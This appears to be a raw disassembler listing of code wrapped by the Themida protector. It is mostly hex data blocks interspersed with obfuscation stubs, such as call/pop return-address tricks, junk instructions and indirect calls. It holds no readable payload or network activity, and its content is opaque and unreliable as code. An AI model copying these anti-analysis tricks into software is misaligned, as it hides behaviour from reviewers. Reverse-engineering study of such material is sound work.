9D8B5004h, 6131B11h, 0E2F7665Fh, 0E8DF8B66h dd 9, 1A2F4A9Bh, 0CB2D885Dh, 699D2B03h, 5F061331h, 0B531C82Bh dd 61322CDh, 0DF80D18Bh, 10E924h, 5E90000h, 39000000h dd 19171E70h, 1BF98589h, 858B0613h, 6130019h, 14E9h, 0C96D7700h dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh, 7C08388h dd 5E856h, 0A5220000h, 0E9D4106Ch, 0Bh, 0EC34C62Eh, 0D8456483h dd 5F133D22h, 0C0835Fh, 0FD03BF9h, 1783h, 9606000h, 131AE185h dd 0EAB96106h, 61159F3Fh, 32E9h, 0F88B6600h, 2CD58D8Bh dd 0E1830613h, 20840F01h, 29000000h, 132C618Dh, 0D5A58306h dd 0FE06132Ch, 0D480FC60h, 958961F6h, 6130019h, 0E919B7h dd 8D000000h, 1713F4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 70A98751h, 0FC5D82Eh dd 58Fh, 0CB5DBB00h, 0D78044D2h, 0E9006AF5h, 0Eh, 63E001A6h dd 448180ECh, 1EAE518Fh, 0E3806CC5h, 0A995FFA5h, 6A06130Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2198C350h, 4DF3856h, 0C870FBAh, 0F000000h dd 681h, 8D858900h, 89061314h, 13054D8Dh, 7CCB906h, 0BD310000h dd 6132851h, 0AE9h, 98E6A900h, 17C968F5h, 83F2F51Ah, 0BD8BFCE1h dd 61314A1h, 9E9FCh, 673C0000h, 2D7DDD96h, 2B2A62AEh, 0BAC0h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0B70FA7C3h, 6820FFBh, 31000000h, 1306C995h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E38BB472h, 0BC55CB5Fh, 0DE9C1h, 0CD220000h, 834B9CEBh dd 0FF2A3735h, 0E812430Ah, 6, 874D173h, 0CB81F78Bh, 3D0034DEh dd 880D5Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 1B023BC3h, 0B719370Ah, 11E942h dd 0C39F0000h, 36E62F86h, 23BBEFEBh, 0E2DE5E80h, 8B484709h dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 1C1C4FE8h, 0F899255Bh, 0EF816655h dd 8D8B0498h, 61318DDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 8C35545h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0E84259C3h, 0A27C082Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2FC35646h, 95893DD6h dd 6131DB9h, 0EE99D29h, 0BD830613h, 6131D1Dh, 34840F00h dd 66000000h, 0B8F98Bh, 0F8000000h, 4F8D8D8Dh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89ED39C3h, 1309BDB5h, 83E1FF06h, 133055BDh, 840F0006h dd 53Fh, 9619D31h, 0BD830613h, 6133055h, 47840F01h, 0E9000005h dd 7, 45C5C18Bh, 83F9FD5Fh, 133055BDh, 860F0306h, 4F8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h dd 0F0E22F82h, 0A7BCD393h, 9B5BD8Bh, 9D890613h, 6131F65h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 248160D8h, 22B2AFFBh, 12A19D8Bh, 8C660613h dd 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 3D010D82h, 0BD8B04F0h, 6130ECDh, 8B04E180h dd 1312859Dh, 0FC90A06h, 1F084h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0AE9A1h, 0D71B0000h dd 53499F02h, 62C745FDh, 2BB9858Bh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 837D63C3h dd 481247h, 11E9FAh, 92730000h, 0AC3C6BEBh, 0DE7328C0h dd 0A57FA2FDh, 33E231A7h, 1305B985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 669EF94Ch dd 501822BFh, 48932B3h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 3522A0D2h, 4F06B1D0h dd 6AF98B66h, 68A0F00h, 89000000h, 130ECDBDh, 4E806h, 3FF0000h dd 5250001Fh, 0FF98B66h, 15BB6631h, 50585AD1h, 14E8h, 800C9A00h dd 0C97D21E1h, 460C40D2h, 0F8B604DBh, 0D83EC648h, 448B5FF5h dd 0F500424h, 585h, 4CEABB00h, 8B5B5E66h, 0C993BB00h, 44894F05h dd 890F0424h, 2, 8B5806B3h, 3D95FFD8h, 6A06130Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0CC8BC356h, 510994h, 0BD8B6C6Dh, 61324DDh, 0C4548589h dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 4A4E7EC3h, 0A087E264h, 10E9h, 389DA200h dd 7D00C14Ch, 4903BE52h, 0F675115Fh, 10E836h, 99960000h dd 8D8DBFCBh, 5C3139E3h, 470B2766h, 0E9606F2Ah, 0Dh, 6333227Eh dd 1FFEF111h, 8E7A9D44h, 0E78166E5h, 5F61A0A7h, 206E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0ADCEAA37h, 0B70FCD73h, 0BD8960FBh, 6131061h dd 4C858B61h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 717BC357h, 604ACAF6h dd 38D0Fh, 0B70F0000h, 3DB58BC0h, 61061335h, 1800C7h, 81660000h dd 8B7BD1E7h, 16C450B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0CD47B4AEh, 0B0C0E4BEh dd 0BD334E86h, 61300D9h, 2A55858Bh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0F3367EC3h dd 0C7813D62h, 4918E96Fh, 0CF810689h, 4707906Ch, 2BB9858Bh dd 81660613h, 891E2BCBh, 9D290446h, 6131D29h, 8B665096h dd 8B6696FAh, 4CB5FFF8h, 6A0616C4h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0B501C357h dd 2A6AA34Fh, 0ACB75034h, 5E9h dd 0CE196500h, 0BF0F0A62h, 48A068F9h, 10E99072h, 4000000h dd 0A051A936h, 82826A2Bh, 0E0DD6BAAh, 81A8A96Fh, 0BB5F2404h dd 10E86FACh, 28000000h, 7405F024h, 0A2655B5Ch, 2CBBDA97h dd 0E90F65E6h, 12h, 0F3601A08h, 2D9CF564h, 6070FB77h, 4A72CCE9h dd 8D5B6210h, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0A6E2BDA1h, 12E9h, 0C7C4D700h dd 0E107A70Bh, 1E83DEh, 0DA761F0h, 664063D4h, 0F50FE8Bh dd 8Bh, 24048900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 20C35343h, 918F8458h, 0BD0BE637h, 6132BC1h dd 0A3D95FFh, 0DE80613h, 90000000h, 0EB2AEBD3h, 0E148C963h dd 3AC915D9h, 16D19D2Bh, 615F0613h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0A7C35646h, 0D04EE4ECh, 6B3BF6B0h dd 18A0Fh, 0C7F50000h, 13305585h, 306h, 0DF8B6600h, 2FE9BD8Bh dd 0BD830613h, 616C454h, 4D840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 52FAC352h, 45E9A5h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0BCA62AC3h, 1F546308h dd 0C381845Ah, 2E6B0112h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0B22DC355h, 0F4D807A8h dd 0B70FB5F0h, 9E9F8h, 938B0000h, 56B77ADCh, 6A56D606h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 2FABC353h, 9D8B0DB5h, 6132879h, 3055BD83h dd 0F030613h, 4F785h, 0CDBD8900h, 83061304h, 16C454BDh dd 840F0006h, 4E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0BCC35646h, 98DBFA0Bh, 0C7181AD0h, 6642BB1Fh dd 0B5FF2145h, 616C454h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0DFC35141h, 6995FF6Fh, 6A061309h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 6AB3C350h, 6B1210DAh, 1F359D29h, 0B58B0613h, 616C448h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h dd 56B100E5h, 4ADAE448h, 0E84AB160h, 0Bh, 0CA6F6B6Ch, 0B479E519h dd 59E01A88h, 106C761h, 60000100h, 0F8F8E681h, 8D0B4C35h dd 6131559h, 830F5061h, 0 ; --------------------------------------------------------------------------- mov [esp], esi mov di, si push dword ptr [ebp+616C454h] push 0 push eax call sub_5C5FF7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5FF7 proc near ; CODE XREF: Themida_:005C5FEFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5C5FF7 endp ; --------------------------------------------------------------------------- xchg eax, esp push 0FF140C4Eh mov di, 10B6h call dword ptr [ebp+6133229h] mov edi, [ebp+6130645h] mov edi, [ebp+6130BA5h] mov esi, [ebp+616C448h] mov ebx, [ebp+6131205h] mov eax, [ebp+6130631h] mov edi, [ebp+6132051h] mov [esi+0C4h], eax push 0 push esi call sub_5C604C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C604C proc near ; CODE XREF: Themida_:005C6044p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C604C endp ; --------------------------------------------------------------------------- jmp short loc_5C606D ; --------------------------------------------------------------------------- dw 56E1h dd 8B05E8F8h, 131BBD95h, 56006A06h db 0E8h ; --------------------------------------------------------------------------- loc_5C606D: ; CODE XREF: Themida_:005C605Cj add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 419CBF3h, 82363FCCh, 56601B56h, 5BF98B66h, 0C890Fh dd 7E90000h, 15000000h, 2EF20BD4h, 6661C44Ah, 819FCF81h dd 6A04C283h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 2B08C351h, 1C780C52h, 0D78166D7h dd 8D01C8CFh, 6132A29h, 8B205089h, 131BCDBDh, 0E3858D06h dd 890616D8h, 130F499Dh, 0B8868906h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 8290C352h, 471E2020h, 8C0F0F87h, 5, 65C51DBBh, 89006A05h dd 132255BDh, 54B5FF06h, 6A0616C4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4E0C353h dd 0E97BAC25h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h, 9595FFBBh dd 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0F6F1C357h, 579BD89h, 9D8B0613h dd 61323A5h, 850F5096h, 0Ch, 52505250h, 2 dup(585A310Fh) dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0F90882E8h, 0D2E04AE2h, 9E9h, 16AAEF00h dd 0DA7CE054h, 0DF8B47F2h, 0C454B5FFh, 6A0616h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E39123C3h, 9276575Dh, 950158B0h, 61312C9h, 214595FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 66EE30C3h, 0BD839E11h, 6131495h, 71840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 43CEC356h, 7591BDB6h, 50BF6076h dd 0BB565250h, 41F4F7E5h, 0B7310F5Fh, 89585AB3h, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 600925C3h, 2A2811C8h, 0F26DF8Ah, 0A82h, 61606000h, 820Fh dd 0BF610000h, 4F18C56Dh, 0C454B5FFh, 6A0616h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 5AD88DC3h, 0CE8B6B7h, 71000000h, 72F6E92Ah, 82C654BCh dd 5BEFE146h, 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 83750CC3h, 0E19DB5BFh dd 0FF8EB794h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 94F20907h dd 120995FFh, 0B4B70613h, 511BD83h, 0F020613h, 7D84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 3C8B8F9Eh, 0A456A54Ch, 0D5BD8B01h, 0F806131Ah, 0F55858Bh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 86DD49C3h, 0AC0BE11h, 0DF8B66AEh, 6A0000C6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E242C357h, 800Fh, 85C70000h, 6131E51h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C63DF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C63DF proc near ; CODE XREF: Themida_:005C63D7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5C63DF endp ; --------------------------------------------------------------------------- adc eax, 0FFF118E9h jmp fword ptr [edx+0] ; --------------------------------------------------------------------------- push ecx call sub_5C6400 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6400 proc near ; CODE XREF: Themida_:005C63F8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5C6400 endp ; --------------------------------------------------------------------------- adc eax, 35FC7027h mov dl, [edi+66h] mov edi, ecx pop edi mov eax, ecx mov ebx, [ebp+6131E79h] lea eax, [ebp+6131EA9h] push 0 push ebp call sub_5C6434 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6434 proc near ; CODE XREF: Themida_:005C642Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C6434 endp ; --------------------------------------------------------------------------- lodsd pusha or al, 66h pop ss icebp push eax and edi, 2F0A635Dh pop ebx nop push eax nop sub [ebp+6131D3Dh], eax push 0 mov edi, [ebp+61330A5h] push 0 mov ebx, 628F2E46h lea eax, [ebp+617A311h] mov [ebp+6130561h], ecx cmc add eax, 5 push eax pop ebx push eax jg loc_5C6485 mov bl, cl loc_5C6485: ; CODE XREF: Themida_:005C647Dj mov [esp], eax stc mov bl, 0EBh push 0 clc push 0 push 0 push edi call sub_5C649B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C649B proc near ; CODE XREF: Themida_:005C6493p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5C649B endp ; --------------------------------------------------------------------------- cmp [edi+ecx+684h], cl add [ecx], cl xchg eax, ebp dec ebp sub [ebx], dl push es or ebx, 5B91B443h call dword ptr [ebp+61307F1h] push 0 push ecx call sub_5C64D0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C64D0 proc near ; CODE XREF: Themida_:005C64C8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5C64D0 endp ; --------------------------------------------------------------------------- test al, 9 sub eax, 10A59509h adc eax, [esi] lea ecx, [ebp+616A36Ah] push 0 push esi call sub_5C64FA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C64FA proc near ; CODE XREF: Themida_:005C64F2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5C64FA endp ; --------------------------------------------------------------------------- dw 85E1h ; --------------------------------------------------------------------------- fsub qword ptr [esi-45h] imul dl call ecx push 0 push eax call sub_5C651E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C651E proc near ; CODE XREF: Themida_:005C6516p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C651E endp ; --------------------------------------------------------------------------- adc eax, 55850913h push es adc eax, [esi] mov [ebp+6130FDDh], ebx cmp dword ptr [ebp+613173Dh], 1 jnz loc_5C65DB push 0 push edi call sub_5C6554 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6554 proc near ; CODE XREF: Themida_:005C654Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5C6554 endp ; --------------------------------------------------------------------------- dd 2C44D062h, 7DB50939h, 6A06131Fh, 9D9D3102h, 0BF061322h dd 30505ABEh, 89D98B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 6D1A1FC3h, 9D8BA2AEh dd 61334A9h, 0FFD9B70Fh, 131E9595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 2B82B891h dd 130F41BDh, 2DBD8B06h ; --------------------------------------------------------------------------- pop ds adc eax, [esi] loc_5C65DB: ; CODE XREF: Themida_:005C6543j jmp loc_5C74ED ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 617A31Bh mov [ebp+61323C1h], edi pusha mov esi, [ebp+6131005h] xor ebx, [ebp+6131401h] popa lea eax, [ebp+6168F5Eh] push 0 push esi call sub_5C6611 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6611 proc near ; CODE XREF: Themida_:005C6609p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5C6611 endp ; --------------------------------------------------------------------------- mul dword ptr [eax+36h] mov ebp, 60504B11h pusha mov ax, cx jnp $+6 popa jnz loc_5C663D mov bx, ax loc_5C663D: ; CODE XREF: Themida_:005C6634j popa mov [esp], eax push 0 push ecx call sub_5C664C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C664C proc near ; CODE XREF: Themida_:005C6644p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5C664C endp ; --------------------------------------------------------------------------- dd 8529F53Bh, 35FF6454h, 0 ; --------------------------------------------------------------------------- mov [ebp+61308A9h], ebx mov large fs:0, esp xor di, 878Dh inc dword ptr [ebp+61316D9h] push 0 push edi call sub_5C668B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C668B proc near ; CODE XREF: Themida_:005C6683p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5C668B endp ; --------------------------------------------------------------------------- imul esi, [ebx+33h], 42h retf 491Eh ; --------------------------------------------------------------------------- dw 746Ch ; --------------------------------------------------------------------------- push 0FFFFFFFFh push 0 push ecx call sub_5C66B1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C66B1 proc near ; CODE XREF: Themida_:005C66A9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5C66B1 endp ; --------------------------------------------------------------------------- db 48h, 0F0h, 0B9h ; --------------------------------------------------------------------------- and ds:0B58956E7h, esp jno short near ptr loc_5C66DA+5 adc eax, [esi] push dword ptr [ebp+613125Dh] adc edi, 7996E160h loc_5C66DA: ; CODE XREF: Themida_:005C66CAj call dword ptr [ebp+61331ADh] jmp loc_5C682C ; --------------------------------------------------------------------------- db 89h, 8Dh, 75h dd 0B006130Bh, 2DBD3300h, 0E606131Ah, 0A5BD8B70h, 0E906132Bh dd 0Ch, 9B30ED25h, 0F4883E76h, 0DE1B4A0h, 0BD2B71E4h, 6132565h dd 830F613Ch, 110h, 21199D8Bh, 0BE80613h, 4A000000h, 5A856F6Ch dd 0D0A8C552h, 8589764Ah, 6131E85h, 0C8B60F5Bh, 9E9h, 40177F00h dd 4F748EDBh, 6BAF2E8h, 8B000000h, 6AD781C1h, 606DC877h dd 0D5A92DBAh, 0E8C16143h, 66D88A04h, 0FE8BE2F7h, 9D8BC82Bh dd 61310B9h, 0E1958960h, 0B906131Dh, 40DC0BF6h, 0BFD18B61h dd 44793CD6h, 0C375BB66h, 19E9h, 95036000h, 6130C69h, 0CE9h dd 8B17B000h, 419464A4h, 0CB95C06Fh, 858B610Bh, 6131A61h dd 83F88B66h, 0C08307C0h, 85895600h, 6130521h, 0FD03B5Fh dd 2183h, 1B8FBB00h, 5DE91F6Ch, 9000000h, 13153D9Dh, 830F6006h dd 6, 830Fh, 0B70F0000h, 8D8B61F6h, 6133251h, 19599D8Bh dd 0E1830613h, 31840F01h, 0E9000000h, 0Eh, 0F8B33BDEh dd 3DD8F65Fh, 6E11F81h, 0A583F6FFh, 6133251h, 89BD01FEh dd 8906131Ah, 131A6195h, 8B0F06h, 0E9000000h, 0 ; --------------------------------------------------------------------------- loc_5C682C: ; CODE XREF: Themida_:005C66E0j lea esi, [ebp+6171D8Bh] sub [ebp+6131EBDh], ebx push 0 push 0 push edx call sub_5C6845 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6845 proc near ; CODE XREF: Themida_:005C683Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C6845 endp ; --------------------------------------------------------------------------- xchg esi, [eax] cmc nop xchg eax, esi mov ebx, [ebp+61312A9h] call dword ptr [ebp+6130DA9h] push 0 push ecx call sub_5C6871 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6871 proc near ; CODE XREF: Themida_:005C6869p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5C6871 endp ; --------------------------------------------------------------------------- db 0EBh, 0F2h, 0CEh dd 593FBB45h, 0BD8B5E15h, 613325Dh, 761B9h, 0DEB70F00h dd 0EE8h, 832B9700h, 8C11E455h, 1D4FCF93h, 0E92DB8B2h dd 11h, 0BCA463D8h, 0E2A09286h, 0B7D1BEBh, 0EE17FD05h dd 0E1835FA3h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 6AFC7F21h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E19C353h dd 0E5D2CC49h, 0B8B764h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 750CC356h dd 9DB5BF83h, 7A0C94E1h, 22C5BD89h, 0BA0613h, 8B000000h dd 132981BDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 50006AF4h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0D5A0DB22h, 89DB4BD4h, 130B2985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 9F3F2B13h dd 659D23ECh, 0D061325h, 88h, 21A9BD8Bh, 958B0613h, 6131BBDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 79C35545h dd 2F0CB8BBh, 0E59D8B64h, 8B061320h, 1318DD8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0DD39B753h, 80BCBB66h, 8B50D98Ah, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 23D1BD0Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A2D446C3h dd 53CBD3F0h, 0BD835FF5h, 6131D1Dh, 96840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 21F9C353h, 8A5031E5h, 300D8509h, 0BD090613h dd 6130C59h, 0B8h, 0C3816600h, 8D8DC78Fh, 6134F8Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h, 9B2838B9h dd 7EA68CCEh, 6AE1FF10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 4680C352h, 32BBEA77h dd 605C55A4h, 5E9h, 219BD100h, 1FB65F77h, 55BD8361h, 61330h dd 456840Fh, 0BB660000h, 0BD83BE04h, 6133055h, 60840F01h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 928C351h, 1310F18Dh, 28B0F06h dd 0B7000000h, 55BD83BFh, 3061330h, 3F3860Fh, 0EE80000h dd 0D1000000h, 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 8B66601Bh dd 890FFBh, 61000000h, 6A605Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F391BC3h, 682h, 39BD2B00h dd 23061325h, 1313B5BDh, 0D98C6606h, 0BE96056h, 95000000h dd 0CFBC3BA1h, 0C14A6DFEh, 0BA66B116h, 5B610040h, 5E8h dd 90737A00h, 8B668784h, 0E1805FD9h, 0B59D8B04h, 0A06131Fh dd 62840FC9h, 8B000001h, 0B9858BDAh, 0F06132Bh, 1A8Ch dd 12E800h, 0E99D0000h, 0D67F7D67h, 512657CDh, 48189567h dd 0BCA309E6h, 335B6160h, 1305B985h, 66509006h, 6A90FE8Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 65D5C355h, 0DE9h, 0AD8CCB00h, 3F96C9D9h dd 0A02F7090h, 6AC6D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0D9C35545h, 729AFDC6h, 1C1F4658h, 0B007A7BFh dd 4E829h, 3FF0000h, 6650001Fh, 8B07B3BFh, 8B042444h, 0E9525000h dd 6, 0A18E7B7h, 310FF416h, 4489585Ah, 0FABB0424h, 5836AC8Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h dd 11E9h, 0F7ACA100h, 288310D1h, 8B917B3Ch, 1FBFCD4Eh dd 95FFBF1Fh, 6130A3Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0E4C35040h, 93F72E69h, 6697B388h, 0A318DF81h dd 6820F52h, 2B000000h, 130C5D9Dh, 85895F06h, 616C454h dd 67CB8166h, 1C7E93Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0B5AB4C3h, 8B208348h dd 130149BDh, 4C858B06h, 6A0616C4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1EA1C356h dd 1800C796h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 70C2C353h, 0AD47D481h dd 0BD298172h, 6132495h, 0C450B58Bh, 0D7800616h, 55858B65h dd 6A06132Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 6467C355h, 660BB629h, 89D860BFh dd 919D2306h, 6606130Dh, 858BFA8Bh, 6132BB9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h, 44689F9h dd 34F18D89h, 0E8500613h, 14h, 110EACC2h, 0B887AAF6h, 10981B28h dd 0CB52CC0h, 34A1E425h, 895FF88Bh, 23512434h, 1310A5BDh dd 0B5FF5B06h, 616C44Ch, 1DB99D8Bh, 680613h, 566EE2F6h dd 0B8837FBFh, 34815F7Dh, 0FDF5FF24h, 13E86Eh, 69D10000h dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 0CBC78116h dd 5F5B83DDh, 0C454858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h dd 